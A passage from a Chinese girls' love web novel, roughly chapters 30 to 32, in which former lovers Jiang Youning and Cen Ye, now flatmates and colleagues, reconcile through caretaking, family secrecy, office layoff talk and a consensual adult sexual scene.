刚开没一秒钟就被岑曳关上锁着了,“还嫌自己不够难受?” “你这么霸道干什么?”姜又柠摸了下自己的脖子,“我想回家洗澡, 身上好黏。” “彻底好了再洗, 不然你还会烧起来的。”岑曳嘱咐她, “忘了之前你自己来来回回折腾进医院三次的时候了?” 姜又柠很容易发烧,一点小病就会牵连到她的体温。 但她又不喜欢身上脏兮兮的,每次从医院回来都要洗澡,最严重的一次本来发烧不算太严重, 病刚好之后她没听医嘱自己偷偷洗了澡,直接高烧不退住院了。 “小时候抵抗力不好,我现在自己从医院回家的时候,都是立马就洗了,也没事儿啊。” 姜又柠就喜欢顶嘴,非要人顺着她。 岑曳知道她的性格,顶嘴归顶嘴,无非就是要过嘴瘾,真行动起来倒是怂得很。 “行,那我帮你洗。” “用不着。”姜又柠拒绝了,“我自己会洗。” “太晚了,我们一起洗,可以节约时间。” “那我不洗了!” 岑曳睨她一眼,勾唇收回了视线。 一路畅通,两个人很快就到了家。 姜又柠没什么力气,走路软趴趴的,眼看岑曳不由分说要把她抱起来,她立马就加快了步伐。 她还是觉得身上好黏,岑曳看穿她的心思,“先回房间,我去接个热水帮你擦擦身子。” 这次实在太晚,姜又柠也确实没力气洗,她在发愁换床单还是洗澡之间选择了前者,正巧岑曳开了口,那她除了心安理得地享受还有什么选择吗? 她拿了浴巾披在身上,看见女人端了盆热水放在地上,“我自己擦就行。” 岑曳不理她,姜又柠知道自己拒绝不了,只能坐在了床边。 岑曳走到她面前,抬手掀开了她的浴袍,姜又柠抬眸跟她对视上,略有些窘迫。 “你把我当小孩子就好了。”姜又柠嘴硬道,“我不会乱想的。” “小孩子也没你这么不听话啊。” “那随便你!” 女人一声轻笑,先是擦了擦她的脸和脖子,随后抓起了她的手腕帮她擦胳膊和腋下。 痒意让姜又柠躲了下,岑曳捏了捏她的脸,似是安抚似是威胁。 毛巾被拿到水盆裏再次搓洗,姜又柠搂着自己,水渍的蒸发让她打了个颤。 “把手打开。”岑曳示意了她交拢的胳膊。 “这裏……就算了吧……”姜又柠看了眼自己的胸,这女人怎么做到把话说得这么自然的? 她迷恋岑曳的身材她承认了,岑曳跟她谈过恋爱,难道对她的身材就没一点想法吗? 肯定也是有的,反正她有这个自信。 见她还是不肯撤手,岑曳盯着她,“要我自己来吗?” 姜又柠嗔怪地看她一眼,胳膊交拢的力道小了很多,下一秒就被女人拽开了胳膊。 直视过来的眸光让她微微羞赧,姜又柠侧过了头不愿意跟她对视。 “为什么脸红了?”女人轻笑着,手指勾了勾她的下巴,像在逗一只快要炸毛挥拳的小猫。 “我哪裏脸……唔……”话还没说完,热毛巾就捂上了柔软的胸脯,毛躁的颗粒摩擦着她柔软的肌肤,迫使她忍不住咬唇,努力抑制住自己逐渐加重的呼吸声。 只是短短几秒钟热毛巾就换了位置,往下擦拭着她的小腹,可姜又柠只觉得自己的脸颊越来越烫,好像又发烧了一样。 岑曳按着她的肩膀,不动声色地观察着她别扭的表情,眉眼中的笑意越来越深。 她微微扯开了姜又柠的小臂,姜又柠便被迫往前挺胸,像是主动送上了一样。 以往这种情况岑曳只会对着她又亲又舔,顺带一些时轻时重的咬。 姜又柠觉得好尴尬,这种只有她不好好穿衣服的感觉分外难堪,还起了些难以言说的感觉。 窘迫逐渐蔓延到最大,姜又柠刚想要张嘴斥问几句,女人就松开了她。 一件睡衣披在了姜又柠身上,胸前的水渍还没干她就立即开始系扣子。 “要不要躺着?”岑曳问她,在她背后塞了个抱枕要她靠着半躺在了床上。 姜又柠这下能够清清楚楚地看见女人抓过自己的脚腕,用热毛巾擦拭着她的一双腿。 她的动作轻缓,不放过任何一寸肌肤,痒意时隐时现,姜又柠舔了舔唇,呼了口气。 “怎么了?”听见她的喟嘆,岑曳开口问她。 姜又柠瞪她一眼,就知道她是故意问的。 “我,我要躺着,我不要靠着了。”说完姜又柠就自己平躺下了,她望着天花板,突然意识到自己不去看之后,感受似乎更明显了。 热毛巾擦过她的膝盖,在她大腿根略过,引得她倒吸一口气想着会不会擦拭过瀑处的时候,女人就松开了她的一条腿,把热毛巾再次拿过盆裏搓洗。 姜又柠侧头看她,“好了没有啊,我困了……” 清醒得很。 甚至闭上眼睛满脑子都是过去她跟岑曳赤/裸着躺在床上亲密的记忆。 太磨人了,她根本受不住。 “困了就睡,要我帮你按摩吗?这样你会睡得香一些。”岑曳认真问她。 “不用!”姜又柠说,“你快点擦!” “知道了知道了大小姐。”岑曳抓起她的另一条腿,再次开始重复之前的步骤,毛巾偶尔甩到瀑处,勾扯下密林,一下又一下的,姜又柠根本摸不准女人下一步会是什么动作。 万一是岑曳的唇呢? 真有这个可能,毕竟她经历过的。 到时候就不止是毛巾上的水渍了…… 姜又柠根本睡不着,更不敢闭上眼睛,不然失去视觉的她脑子就开始完全不受控地胡思乱想了。 她捞过被子的一角,双手紧紧地攥住,脸蛋微皱,表情裏满是紧张。 岑曳帮她擦拭的动作少了很多,温热的掌心帮她揉按着双腿。 力道实在太舒服了,姜又柠很快就没有乱想的心思,整个身体都被困意席卷了。 岑曳将毛巾丢回盆裏,迷恋地看着姜又柠入睡的那张脸庞,按摩的动作没有停。 到底用什么办法能让姜又柠跟她坚定不移地重新站在一起呢? 她有反抗岑千兰的能力和底气,但姜鸿英那边对她来说,简直是最大的难题。 当初她不在家的那几天裏,到底发生了什么? 谁都不肯告诉她。 在她意识到恋情被戳穿之后,她奔回去就只有空荡荡的家了。 姜家母女都不在,连居住过的痕迹都收拾得干干净净,准确来说,是她在门口的垃圾桶裏发现了不少零碎的生活用品。 她给姜又柠发消息,已经被拉黑删除了。 她给姜鸿英发消息,得到的回答是薪水已经结清,雇佣合同结束了,希望她不要再去打扰她们。 姜又柠蜷了下双腿,岑曳回了神,凑近她的脸看她的状况。 “岑曳……” 她轻喊着她,这次岑曳没能听到不满的话,就只有一个名字。 姜又柠蜷缩着双腿,抱住了被子。 岑曳轻抚着她的脸,在她额头上温柔地落下了一个吻。 端着水盆出去之后,岑曳就拿了套睡衣去洗了澡。 热水肆意冲刷着脸颊,她整个人都有些燥。 最近几天跟庄玟见的次数多,听她讲了不少岑千兰的事情。 讲总部空出了她们两个的位子,现在几个高层纷纷开始塞自己手裏的人。 庄氏跟江家股权合并是迟早的事情,岑曳不在总部辅佐,各个高层都在扶持自己信任的小辈,岑千兰在高层的处境不如之前那般顺利。 这大概都是岑千兰故意透露出来让她知道的,她了解自己的母亲,岑千兰从来不会服软,只会让她听见她想要她听到的、看到的事情。 前段时间姜又柠从姜鸿英那边回来,也红着眼睛主动抱她,想来也是在被姜鸿英施压。 岑曳嘆口气关掉了花洒,擦着湿漉漉的头发脑子乱得很。 从浴室出来之后,她没有回主卧,反而再次去了姜又柠的房间。 姜又柠又换了个姿势,怀裏抱着那只狐貍玩偶,下巴蹭在它毛绒绒的身体上面。 岑曳小心翼翼地掀开被子一角躺进去,抱住了她。 姜又柠的睡相不太好,被她细微的动作惊扰到,迷迷糊糊地嘟囔了几个字。 岑曳没能听清,但按照惯例应该不是什么好词儿。 “姐姐……”姜又柠喃喃着,自动寻找着温暖的地方。 岑曳就这样看着她主动埋进了自己的怀裏,伸手探了探她的额头,已经完全退烧了。 她在她颊边落吻,“柠柠,我真的很想你。” 在国外的每一个夜晚,她都想像今晚这样抱着她入睡—— 作者有话说:独属于我们岑姐和小姜的甜蜜之夜~~《 》 30-35 第31章 一觉醒来就是下午了, 姜又柠还没彻底清醒的时候,就已经感觉到身边多了个人。 跟女人对视上眼神的时候,她在被窝裏的身体僵硬了下, 然后沉默且老实地将自己的腿从她的身上收了回来。 “早上好啊!”姜又柠冲她笑,脑子裏开始回忆晚上的事情。 emmm…… 她们应该没做什么过分的事情吧? “早上好,准备吃什么晚饭?”岑曳看了眼时间, 从床上起来了。 “才下午三点多而已。”姜又柠坐起来,揉了揉自己乱糟糟的头发, 看见了几个未接电话。 是姜鸿英的, 还有几条消息。 【姜鸿英:柠柠, 你给妈妈把你的新地址发一下, 有个大姐从老家回来带了好多特产雪莲果,妈妈给你送过去一些,特别甜特别润。】 姜又柠清了清嗓子,看见岑曳离开了房间之后才开口发了条语音, “妈, 太远了你别跑了,我喊个同城急送好了。” 【姜鸿英:浪费那个钱干什么?今天不是周日吗?正好你在家,我给你送。】 【姜鸿英:我之后还要做饭去,门是一定要出的。】 【姜又柠:我自己去拿吧。】 姜又柠约定好时间之后才起来洗漱。 她真不敢让姜鸿英来家裏,不然发现她现在在跟岑曳合租就完蛋了。 姜鸿英是特别热情的人, 之前也来过家裏做客, 给她上个室友, 还有江诗文都做过好多好吃的。 如果室友不是岑曳,那她肯定会放心大胆地让她来的。 她在洗漱间找到女人的身影,“我晚上应该不在家裏吃饭了。” 岑曳刷牙的动作停了,吐了泡沫问, “又准备跟谁去吃?” 她走过来探了探姜又柠额头的温度,没有再次发烧才放心地继续洗漱。 “我哪裏有跟谁吃过饭?”说完不太对,姜又柠又补充,“我跟谁吃饭怎么了?” 女人冷声道,“不怎么。” “我妈要我去拿特产,她应该还要去雇主家裏做饭,我拿完东西就回来了,晚饭在外面对付几口就行。” “我跟你一起去。” 姜又柠愣了下,没说话。 “跟你一起去吃饭。”岑曳放下牙刷杯,转身去了客厅,“我送你去阿姨那儿,然后在车上等你,这样行吗?” 姜又柠追着她出来,“不用,你晚上想吃什么?我给你带回来吧。” 为了让自己的话更有说服力,她继续说道,“你昨天晚上临时加班,凌晨又陪我在医院没怎么睡,你一会儿再多睡会儿吧,正好我不在家,也不会吵到你。” “总想着拒绝我吗?” 一句话就让姜又柠没了反驳的力气。 再拒绝就显得她自己特别别扭,但她明明知道岑曳是什么意思。 “那一起去吧,晚上我请你吃饭。”姜又柠只好同意了。 她将放在门口的手工皂拿进来,跟岑曳说了一声放在了客厅的角落裏。 “我能拆开看看吗?”姜又柠有些期待,“裏面还有我挑的试用装,青柠味儿的。” 岑曳欣然应允,姜又柠找出青柠味儿的手工皂,上面还刻了柠檬的图案,她放在鼻尖嗅了嗅,“好香啊,我都舍不得用了。” 怪不得岑曳喜欢用这家工作室的,味道泛着清香,而且一点儿都不腻,停留在衣服上的味道也是淡淡的,非常舒服。 再次坐上车子一起出发的时候,岑曳倏地想起什么,“药带了吗?” 姜又柠摇摇头,“不用吃药了吧?烧都退了。” 女人皱了皱眉,“睡前吃一顿吧,这个作息也没办法按时吃药。” 姜又柠努努嘴,“晚上再说。” 星期日的下午,路上实在太堵,一个多小时才开到集体宿舍。 姜又柠下了车,给姜鸿英打了个电话。 没过几分钟姜又柠就抱着一个泡沫箱出来了。 “妈,你不用送我了,快准备一下去忙你的事情,别耽误你的时间了。” “你是打车过来的吗?”姜鸿英看了眼时间,“路上挺堵的吧?” “我室友开车送我过来的,一会儿我们俩一起去吃饭。” “那妈妈跟你室友认识一下,好不好?”姜鸿英笑着,“她要是乐意,妈妈去家裏给你们做饭吃。” “不用不用!”姜又柠用力摇摇头,“她这个人不爱交朋友的,也不喜欢社交,回头我问问她吧,你这样直接去车子那儿,太突兀了。” “不爱交朋友啊?那她是不是性格不太好?”姜鸿英问她,“妈妈是知道你的,闹腾得很,你别惹到人家了。” “……不会的。” 姜鸿英颇为无奈,“你要是遇到性格不好的人,你就换个房子住,押金可以不要的,但你不能受欺负。” “我又不小孩子了,谁敢欺负我啊?现在是法治社会。” 姜鸿英又望了一眼远处的车子,隐约看到了驾驶座上的人,但看不太清楚,只知道是个女孩子。 “那你就回去吧,多吃一点饭,感觉你又瘦了。” 姜又柠两手都忙着,只能冲她点点头,“最近加班比较多嘛。” 姜鸿英目送着她上了车子,直到车子启动,消失在视线范围内之后才放心地回了宿舍。 每次姜又柠交新朋友,姜鸿英总要嘱咐她心要细一些,不要受欺负。 她们勉强算是幸运的。 还没有在岑家做工的时候,姜鸿英带着更加年幼的姜又柠跑过好几家雇主。 雇主家也有个小孩子,见姜又柠认生,还要跑到自己家裏住,心裏就不太平衡,觉得家裏的宠爱会被抢走。 被推搡在地被陷害偷东西都是小事儿,严重的还在雇主面前耍心机,连着姜家母女大人小孩儿一起骂。 小小的孩子,口中就能说出特别难听的话。 雇主当然护着自己的孩子,明裏暗裏嘲讽姜鸿英没学历,做着地位低下的工作。 姜又柠知道她赚钱辛苦,受了欺负也不敢说,就怕姜鸿英丢工作没钱赚。 姜鸿英清楚她性格皮,以为是她不听话,私下裏还打骂她好几次,后来才意识到是雇主家的孩子蓄意陷害。 之后她便主动辞职了,临走之前对着雇主家狠狠骂了一顿,抱着就算是日后流浪的决心也不能让她闺女白白受欺负。 直到去了岑家。 姜鸿英也见过不少有钱人,一眼就能看出岑千兰的精明,便提前叮嘱姜又柠要乖一些,让她不要闹腾。 这家雇主的女儿已经成年了,之前那种事情发生的概率应该会小一些,但要是又一次发生了,她要姜又柠立马告诉她,她依旧会立马辞职,保护好自己的孩子。 好在她们很幸运,岑千兰事业上风生水起,但因为太忙了长时间不在家,在家的时候几乎都是在招待客人,付薪水格外豪爽,要她照顾好女儿岑曳的一日三餐就好,还特意强调了岑曳在生活和作息上的非人习惯。 岑曳对姜又柠更是没得说,而做饭和打扫都是姜鸿英分内的事情,长久下来,她们在岑家受了很多恩惠,从来没发生过什么矛盾。 只是她跟岑千兰唯一没能想到的一点就是两个孩子会互相喜欢,谈起了恋爱。 事情暴露之后,她们两家人之中就爆发了一场从未经历过的、天翻地覆的矛盾。 岑千兰对女儿要求高,不允许岑曳有一丝一毫跟身份和地位不匹配的行为。 而姜鸿英不想让女儿被瞧不起、受欺负,跟岑家有感情往来,结果只是她们单方面吃亏而已。 本来两个孩子分手之后,她想着就这样和平地结束掉在岑家的工作,但后来……- 关上车门之后,姜又柠紧张的心情才逐渐平稳。 她特意嘱咐了岑曳不要下车,也不要给她开车门。 雪莲果被放在了后备箱,她自己拉开车门上了副驾驶的座位。 她特意挑了家海鲜餐厅,味道不算太大,岑曳也能接受。 两个人在餐厅坐下的时候,姜又柠先点了单,岑曳过目了一遍没什么问题就把菜单递给了服务员。 “我能喝点酒吗?”姜又柠问她。 岑曳皱了皱眉,“晚上还要吃药,不要喝了。” 她就知道是这个答案,姜又柠用纸巾将干干净净的桌面又仔细擦了几遍,乖巧坐着等了。 “你现在有喝酒的习惯了?”岑曳盯着她看,“最近都连着喝几次了。” “就喝一点点啊,我跟诗文每次聚餐的时候都喝的,微醺的感觉最棒了。” 闻言,岑曳的眉头皱得越来越深,“以后还是少喝。” “可你之前不是这么说的,每次我喝酒你都会陪着我的。” “现在跟以前一样吗?”岑曳追问她,“一样的话,我就陪你喝。” 姜又柠不说话了,立即换了个话题。 “马上放国庆假了,假期之后就是月度彙报,到时候是不是要裁人了?” 岑曳点点头,给了她一个准确的答案。 “那也裁太多了吧……” 岑曳空降也就一个多月,本来姜又柠周围的工位坐得满满的,上次直接空了一小片。 “国内自主研发的项目交给另一个部门推进了,我们之后会主要负责国内外的对接项目。”岑曳平静开口,“人还是太多了,总部那边不需要这么多吃干饭的。” 周六半夜在公司开会的时候,庄玟讲了一句话让在场十几个人都沉默了—— “你们部门裏那点儿工作交到我手头这几个人裏面都嫌少。” “我们哪儿能跟总部的疯子比?”姜又柠脱口而出,立即改口,“总部的……总部疯狂赚钱的子……子……” 她哭丧了下脸,编不出来了。 “疯子比毒瘤好听点儿,对吗?” 姜又柠干笑了下,海鲜大餐及时送上来,缓解了她的尴尬。 她双手分别拿着刀叉,向面前的领导保证了自己努力工作的决心,“我会争做部门毒瘤的!” “嗯,毒瘤都有个好身体。”岑曳跟着她开玩笑,将蟹黄放在姜又柠碗裏,“多吃一点,养养身体。” 这次姜又柠生怕岑曳提前把钱付了,没吃几口就去收银臺买了单。 岑曳的视线一路跟随着她,自然能够明白她去做了什么。 “还人情!”姜又柠乐呵呵地解释,拆了个新的一次性手套往手上戴。 “还哪个?” “还……”姜又柠想了想,“先还最近的,你陪我在医院输液的人情。” “那最远的要什么时候还?” “最远的……”姜又柠舔了下唇,“慢慢来嘛,人活一辈子,账总能还完的!” “所以你要还一辈子?也可以。” “不是!”姜又柠义正言辞地反驳,“你又乱发散我的话!” “还一辈子的前提是,你得跟我待在一起一辈子。”还没等姜又柠的话开口,女人便提前预判了,“不想跟我一辈子在一起?这种事情你在脑子裏反抗一下就好了。” 她不管姜又柠怎么想,反正她把态度摆在这裏了,“我现在不认情,只认账。” “姜又柠,你别想着赖账。” 不管姜又柠怎么狡辩,她总能有一万种办法把她留在她的身边。 姜又柠第一次吃自己买单的海鲜大餐吃得如此郁闷。 回到家她还被岑曳逼迫着把药吃了,就怕她睡前忘了。 “现在不吃的话,晚上睡前我监督你也可以。” 谁要睡前跟岑曳见面啊? 于是姜又柠果断地把药吃掉了。 每次周末的晚上,姜又柠都不想太快躺到床上睡觉,有一种熬得越晚,休息时间就越长,她就越赚的感觉。 八点多,姜又柠舒舒服服洗了个澡,洗了个雪莲果,又端上一碗圣女果坐在了沙发上看综艺。 她换了个恋爱综艺看,偶尔自己的感情萌芽得不到抒发的时候,她就找个甜甜的cp浅磕一下。 半个多小时之后,从浴室裏出的岑曳擦着湿漉漉的长发,闻声走到了客厅。 彼时的电视屏幕上,两个女生正坐在夜晚的海边,桌子上放了一杯果汁一杯酒,背景音乐格外浪漫,后期还洒了很多粉红色的泡泡。 岑曳将视线落在姜又柠身上,看到了她嘴角的姨母笑,两排洁白的牙齿整整齐齐露了出来。 “又是什么综艺?”岑曳擦着头发,主动了解着姜又柠现在的兴趣爱好。 “恋爱综艺。”姜又柠立即收敛了笑容,表情变得严肃认真,“她们两个是双向选择,这节目停播了两星期今天终于播了,我等这一趴等好久了。” 岑曳拢了下浴袍,双手抱胸看着电视。 每次观察室嘉宾发出‘哇’‘哦哟’的语气词时,岑曳都会看向姜又柠的表情。 看来姜又柠也很适合当观察室的嘉宾,笑容要更加灿烂一些。 姜又柠忍不住双腿盘起来坐在沙发上,顺手拿了个抱枕塞在怀裏抱住,将下巴搁在上面看得津津有味。 两个女生的距离已经近在咫尺,姜又柠身子后仰,双手捂住眼睛,十指却漏满了缝。 下一秒,镜头就拉到了海景,这一期就结束了。 “不给看亲亲的镜头啊……”姜又柠遗憾道,拍了拍抱枕,看向旁边面无表情的岑曳,知道又到了她无法理解的区域,“恋爱还得是看别人谈有趣。” 岑曳看向她,悠悠道,“是吗?” “这是一句很流行的话,不是我的真心话。”姜又柠跟江诗文一起看恋爱综艺的时候,每期结尾两个人都会由衷地感慨这句话来表达自己对综艺的满意。 不管是不是做戏,反正情绪价值给足了,她只是看综艺而已,也不会在网络上搜索所有情侣后续的发展。 “所以你是想谈恋爱的。” “我想啊,谁不想?”姜又柠在沙发上找了个舒舒服服的躺姿,双腿交迭晃了晃脚,“早跟你说了,我要跟我后女友同居的。” “很喜欢在我面前说这种话?” 看到女人眸光中略带施压的情绪,姜又柠咳嗽了一声,及时打住了。 最开始她跟岑曳合租,有些挑衅的话可以随便说,但现在窗户纸又一次被戳破了,她只能将窗户纸随意地用胶带粘好,再也不敢乱来。 “真挺好磕的。”姜又柠闭上眼睛,“她们之前有一期是去泡温泉的,刚刚那个穿黑色衣服的姐姐,你不知道她身材有多好。” 她回忆着,“适当的露肤果然还是吸引人啊。” 下一秒,她的面前洒下一道暗影。 姜又柠下意识睁开眼睛,看见岑曳半弯着腰盯着她看,浴袍腰间的带子被她扯了下,更是松垮垮地挂着。 她立即又闭上了,偏偏女人湿漉漉的长发在她唇角落下一滴水珠。 第二滴落在她脖颈,顺着她的脖子往下滑。 “岑曳!”姜又柠有些燥,起身把岑曳推开了。 “露肤度?”女人直接解开了腰带,“你教教我,露到哪种才最吸引人?”—— 作者有话说:岑姐:小姜大师我悟了~~ 第32章 姜又柠不知道是该先捂自己的眼睛还是先帮岑曳把腰带重新系上。 以前她直白地说过很多次岑曳身材好, 她抱着她睡觉的时候总想多啃几口。 那时候岑曳偶尔满足她,但多数时候嫌她闹腾。 现在倒是富有且大方了,可姜又柠没那个胆子了。 姜又柠光着脚就跳下了沙发, 抓过女人的腰带就开始给她系。 岑曳双手张开,没给姜又柠任何阻拦,任由她动作。 “我不会系蝴蝶结, 系得也不工整啊。”姜又柠拢紧她的浴袍,但这料子好像就故意跟她作对一样, 怎么看都不够顺眼, 要么腰间多了道褶皱, 要么胸前又堆积了一层布料溢了出来。 她只能将腰带松开再次去系, 岑曳不动声色地扯了下浴袍,下一秒,胸口便大敞。 姜又柠懵了下,下意识往上看了一眼, 又慌慌张张地收回眼神。 但越是紧张, 她就越系不好,脑子乱糟糟的,这会儿全是刚才那一秒女人胸前的春色。 “谈恋爱而已,你亲亲我我啃啃你不是很正常吗?” “闭嘴啊岑曳!” 不要再拿她小时候的话来侮辱她了!! 姜又柠直接将浴袍拢住,不再去管腰带了, 她双手捂住女人的小腹, 抬眸直勾勾地瞪她。 岑曳不躲她的眼神, 抓住她的手腕往前迈了一步。 隔着浴袍,姜又柠的掌心紧紧感受到了女人的体温。 “……松手!” “不想摸了?”岑曳反问她,眉尾微扬,顺手带着她的手往上。 姜又柠的手下意识攥紧, 在不该碰的位置恰好抓挠了下就跳开了。 她重新盘腿坐回沙发上,往嘴裏接二连三塞了个好几个圣女果,腮帮子鼓起来,双目无神地开始咀嚼。 干嘛色/诱她……? 她自控力一直很差的。 “所以下次别再跟我聊露肤度的问题。”岑曳莫名扯唇笑了下,表情冷淡,“尤其是别人。” 姜又柠吞咽掉圣女果的汁液,发现味道突然有点酸。 岑曳是吃醋了? 可看恋爱综艺讨论一下其中的情侣问题不是很正常吗? 但她忘了岑曳不是一般人,一个不爱看综艺,不喜欢笑话,笑点极高且极其古怪的女人。 听见洗漱间传来吹风机的声音,姜又柠嘆了口气。 得哄。 她得哄。 等了十几分钟,吹风机的声音停了之后,姜又柠穿着拖鞋走到洗漱间。 岑曳听见脚步声,睨她一眼,对着镜子慢悠悠梳理着长发。 “岑曳。”姜又柠认真喊她。 女人漫不经心地看她。 “我觉得,谁都没有你好看。” 说完之后,她甚至不敢看岑曳的表情,立刻飞奔回了自己的卧室。 她连门把手都没能碰到,下一秒女人搂过她的腰,跟着她进了房间顺带着关上了门。 姜又柠被抵在门后,两双眼睛灼热地对视上了。 “再说一次。” “什么?”姜又柠佯装不知。 女人‘啧’了下,食指弯起来轻轻敲了下她的额头,“别装傻。” “岑曳,你最好看。”姜又柠侧着头看她,眼睛亮晶晶的。 岑曳轻轻地笑,“就没了?以前没见你夸人的词彙量这么贫瘠。” 可她还是爱听。 “你怎么这么贪心!”姜又柠装凶,又想起下午姜鸿英跟她叮嘱的别受欺负的那些话。 她轻轻眨了几下眼睛,“……也只有你对我最好。” 只有岑曳这个姐姐不一样,不欺负她,不诬陷她,还送她好吃的,带她出去玩儿。 这个世界上,没有谁能比得过岑曳了。 话音刚落,岑曳就捧着她的下巴吻了上去。 姜又柠这次没有躲,乖巧又主动地张开了自己的嘴巴。 两个人吻得难舍难分,津液交缠。 女人的指尖探入她的腰间,轻轻捏了下她的软肉,随后顺着她的腰线一点一点往上挪。 手指就像缀了火,触碰到的肌肤都变得滚烫、发麻。 岑曳咬着她的唇,舌尖勾扯着她的唇珠,又吮又吸。 氧气逐渐消失,姜又柠无意识推了下她,发出了细微的呜咽声。 女人抓过她的手放在自己的脖子上,这个时候的姜又柠最听话了,不用开口,只带着她去做就好,不会反抗,只会可怜兮兮地看她,满目水雾。 姜又柠抱住了女人的脖子,岑曳搂紧她的腰,力道逐渐加重,像是要将她揉进自己的身体裏。 这个吻她想太久了,在重逢的第一秒钟,她就想要这样用力吻住她。 吻依旧没停,不知道吻了多久,姜又柠的脑子开始晕眩,双腿发软有些站不稳。 岑曳捞过她,勾起她的一条腿挂在自己的小臂上。 “抖什么?我还什么都没做。”岑曳松开她的唇,望着她迷/离的双眼,轻笑着问她。 女人的唇又掠过她的眼睛、脸颊,啃咬着她的下巴。 姜又柠大口大口地呼吸着,眸光中都染上了一层薄薄的水雾。 手掌微探,岑曳将她微妙的表情变化尽收眼底。 姜又柠弓了下腰,整个人都懵懵的,只用朦胧的眼睛去瞪她,一个多余的动作都没有力气去做。 “帮你揉揉。”岑曳的语气也不如往常那样冷静,呼吸也错乱得明显。 姜又柠‘唔’了一声,双手落在了女人的胳膊上,咬牙攥住她,指尖都掐进了女人的肌肤裏。 她们太久没有紧紧相拥在一起了。 剎那间,姜又柠忍不住哭出声来,她紧紧抱住岑曳,要这个女人亲自感受她的温度。 岑曳懂得她当下的眼泪和委屈,一遍遍吻去她眼角的泪水,舌尖舔舐着她颊边细小的绒毛。 她将姜又柠抱在床上,顺着她的唇瓣一路轻吻,用唇感受着她脖颈上血管的跳动。 姜又柠本就晕乎乎的,这下更是勾紧了脚背,双手忍不住抓扯住女人的长发。 发丝传来的细微的刺痛让女人加重了牙齿啃咬的力气,姜又柠轻声恳求着她。 四年后的第一次,阈值太低,她承受不了太多。 “姐姐……”姜又柠难得这样喊她。 “喊我什么?”女人微顿了下,语气裏染上了惊喜。 “姐姐……”姜又柠又一次喊她,得到的不是女人的心软,而是更加汹涌的亲吻。 瀑水横流,岑曳轻轻地笑了笑。 温热的呼吸肆意喷洒,姜又柠整个人都像被扔在了柔软的棉花上。 岑曳终究没有折腾她太久,帮她吮了会儿就再次吻上了她的唇。 “我们柠柠,还是这么容易害羞。”女人的手指勾了勾她的鼻子,“想我了吗?” “……不想。” “嗯?”岑曳拉长了尾音,威胁意味明显。 姜又柠现在没有丝毫的力气拒绝她,犹豫了几秒钟,嘴巴裏吐出了几个字,“……有那么一点想吧。” “就只有一点啊?”岑曳的手抚着她精致的锁骨,指腹不轻不重地绕着打圈。 “……比你多一点。” “是吗?”岑曳的掌心在她瀑处狠蹭了下,将湿漉漉的掌心亮给她看,“我确实感受到了呢,我们柠柠的确很想我。” 又一次相拥着入睡,这次姜又柠真真切切感受到了女人的体温。 她当下还算清醒,岑曳从她背后抱住她,将下巴搭在了她的颈窝。 姜又柠垂眸看着腰间女人的手,抓住她的小臂,舒舒服服地睡了过去- 第二天起床的时候,岑曳就已经不在身边了。 幸好是周一,不然姜又柠还真不知道该怎么面对事后的岑曳。 餐桌上放了买好的早餐,姜又柠洗漱完慢悠悠吃了早餐之后才朝着公司出发。 周一的岑曳为了做好开例会的准备,都会到得早一些。 入了秋,天气阴晴不定,偶尔艳阳高照,偶尔阴雨连绵。 又是一个雨天,姜又柠穿了件半高领的长袖,公司依旧开着冷气,人群聚集的地方还是太过闷热了。 所有员工都到了大会议室开周会,这次没有分批次。 岑曳告知了部门日后的工作计划,着重点名了国庆假期后的月度彙报和最近一段时间内的绩效影响着部门内的人员调动。 姜又柠认真听着,她最近也一直在想这个事情。 在工作上面,岑曳绝对是公私分明的,她也不能随便糊弄,按照私交来讲,越是跟岑曳亲近,岑曳就越是严格。 简直跟她那个工作狂母亲一模一样嘛。 说了开小竈来着,怎么她就忘了呢? 最近在家裏,不是看综艺,就是偷偷瞄岑曳,她明明是个正直爱奋斗的好青年啊。 岑曳依旧让在场的员工提问了三个问题。 部门人数按照百分比优化,没有固定数量。 奖金依旧,人少了那么均下来的钱就多了。 庄玟那边还缺人手,可以自主报名,但需要通过庄玟的考察。 岑曳一一告知答案,在场的人心思各不相同。 姜又柠偶尔听见身边的同事跟自己搭几句话,吐槽现在的工作强度比起之前大了不少。 “那是之前太摆了吧,我们部门跟流放有什么区别?”姜又柠说,“我倒觉得我比之前做的工作要更有技术含量一些。” 新工作不适应,工作时间相应的是会拉长一些。 “又柠,你是不是被老员工欺压惯了?”同事奇怪她的态度,“也是,你才来一年多,这些老员工就喜欢把工作丢给新来的,不过最近一直在裁人,这群老人找不到人帮她们干活了。” 姜又柠不好回答,只摇了摇头什么都没说。 眼下江诗文大部分时间都在庄玟那儿工作,姜又柠郁闷得很,闲话找不到人说,吐槽也更是没地方发洩。 散会之后,身边的工位空了,姜又柠给江诗文发了消息,问她什么时候回来。 等了半个小时都没见回,姜又柠撑着脑袋忙新的工作,想着彙报的PPT该怎么编。 无非就是走个流程,谁没认真干活岑曳心裏肯定是有数的,但姜又柠从小到大最讨厌的就是上臺发言了。 小时候就不喜欢举手回答问题,更不喜欢新班级的自我介绍,她能说漂亮话,但说不出上得了臺面的漂亮话。 刚毕业在大公司锻炼的那点儿意志力,摆烂一年就全部还回去了。 中午饭点,江诗文才拎着电脑包回来,满脸都写着疲惫。 “吃饭了吗?”姜又柠问她,看见她摇摇头,用筷子夹了块牛肉先塞进了她的嘴裏。 “外卖马上到了,我在回来的路上点的。”江诗文瘫在办公椅上,“庄玟那儿的班真不是人能上的,我早上开了个会,之后就去见了供应商,然后就整理了所有的项目材料,一上午连口水都没喝。” 她从包裏拿出自己的杯子,裏面的水还是满的。 “你之后该不会每天都要这么忙吧?” “应该就这段时间?”江诗文想了想,“合同还在谈,确定好之后,我们部门应该会空出工位让庄玟那边的人搬过来办公的。现在她们就临时租了一个小工作室,离合作方的办公地点比较近。” “我的饭搭子,你可千万别离开我啊……”姜又柠愁眉苦脸的,“你不在一个上午我都很想你的。” “我也想你啊柠柠,我一想到庄玟那张脸我就好生气啊,她应该跟工作结婚,而不是我……”江诗文去门口拿了外卖返回来,“今天天气太冷了,还是坐工位上暖和,庄玟那个工作室人太少了,冷冷清清的,都没人聊天,我都憋死了。” 她看了眼姜又柠的穿搭,“这针织衫不错嘛,没见你穿过?” 姜又柠垂眸看了自己一眼,“新买的。” “半高领,这天儿也没到穿高领的时候吧?”江诗文说着伸手往姜又柠的脖颈上探。 姜又柠往后躲了下,将自己的衣领又拉高了些。 “街上好多人穿的啊。”姜又柠表情不太自然,她拿过镜子照了照,确保脖子上没露出什么痕迹才放心。 岑曳有度,吻痕留在了她的锁骨周围,但姜又柠属于心裏有鬼就恨不得盖上八百层章的人,必须得遮得严严实实才行。 